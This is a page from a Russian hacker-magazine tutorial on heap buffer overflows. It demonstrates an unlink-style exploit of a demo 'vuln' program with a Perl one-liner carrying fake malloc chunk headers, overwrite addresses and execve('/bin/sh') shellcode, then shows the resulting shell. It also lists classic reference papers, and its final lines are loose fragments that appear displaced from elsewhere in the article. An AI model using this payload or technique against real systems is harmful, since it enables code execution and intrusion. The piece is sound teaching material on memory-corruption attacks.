Переполнение буфера в heap. Серия вторая

kas1e

Xakep, номер #059, стр. 059-074-4


[root@heap_part2]# ./vuln `perl -e 'print "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xf0\xff\xff\xff\xfc\xff\xff\xff\xfc\xfc\xfc\xfc\xfc\xfc\xfc\xfc\xfc\xff\xff\xff\xfc\xff\xff\xff\x80\x97\x04\x08\x2f\x98\x04\x08\xeb\x0c\xfc\xfc\xfc\xfc\xfc\xfc\xfc\xfc\xfc\xfc\xfc\xfc\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'`

....

<skip tons of craft data>

....

sh-2.05# exit

[root@heap_part2]#

Вау! Как видишь, произошло переполнение, и мы выполнили нашу команду /bin/sh. Способ с передачей всех данных в одном аргументе я выбрал специально, чтобы ты наглядно увидел, как все это просто. Теперь, как и обещал, бонусом к статье будет C эксплоит, аналогичный приведенному в vudu туториале, но видоизмененный под нашу уязвимость. Сам пример кода здесь не привожу. Его ты можешь скачать с нашего сайта www.xakep.ru. Код хорошо прокомментирован, так что ты должен с ним разобраться.

Заключение

Вот мы и разобрали практический пример heap переполнений. Я надеюсь, что ты почерпнул для себя что-то новое. Конечно, тема heap переполнений слишком обширна, чтобы уместить ее всю в двух статьях, но, тем не менее, я вновь постарался дать тот самый минимум для дальнейшего самостоятельного изучения.

Удачи в экспериментах! ci a.

w00w00 tutorial

www.w00w00.org/files/articles/heaptut.txt

Один из первых документов по переполнению буфера в heap, появившийся в начале 1999 года.

vudo tutotial

www.synnergy.net/downloads/papers/vudo-howto.txt

Гораздо более подробный документ, в тексте которого описывается heap технология, после чего становится ясно, что такое malloc() функция и как ее использовать в переполнении буфера в heap.

once upon a free()

www.phrack.org/phrack/57/p57-0x09

www.phrack.org/phrack/61/p61-0x06_Advanced_malloc_exploits.txt

Подробное описание работы функций free и malloc. Приведены описания структур. К тому же все выкладки дополнены практическими примерами программ.

Что же нового в heap?

За эти несколько месяцев ничего кардинально нового не произошло, за исключением того, что вышел 61 номер фрака со статьей "Advanced Doug lea's malloc exploits", написанной jp <jp@corest.com>. Статья довольно поучительная и может помочь при написании различного рода продвинутых "malloc" эксплоитов. Причем рассматриваются способы написания сплоитов с переполнением в heap всего на 1 байт. Также обсуждаются все наработки по heap переполнениям (старые статьи, приемы и т.д.). Показаны плюсы и минусы malloc structures corruption (примитив) и unlink() техники (более advanced). Вопросы автоматизации поиска и написания и прочее-прочее. Т.е. на данный момент это последние достижения в heap области, выложенные для чтения широким массам, и я настоятельно рекомендую изучить этот текстик.

Для написания эксплоитов под heap достаточно базовых знаний, понимания работы malloc и free функций, а также Global Offset таблицы.

Появится сообщение "Segmentation fault". Вот оно!

Мы запихиваем в первый буфер больше, чем определили, в итоге у нас перезаписывается адрес окончания буфера.

Назад на стр. 059-074-3  Содержание  Вперед на стр. 059-074-5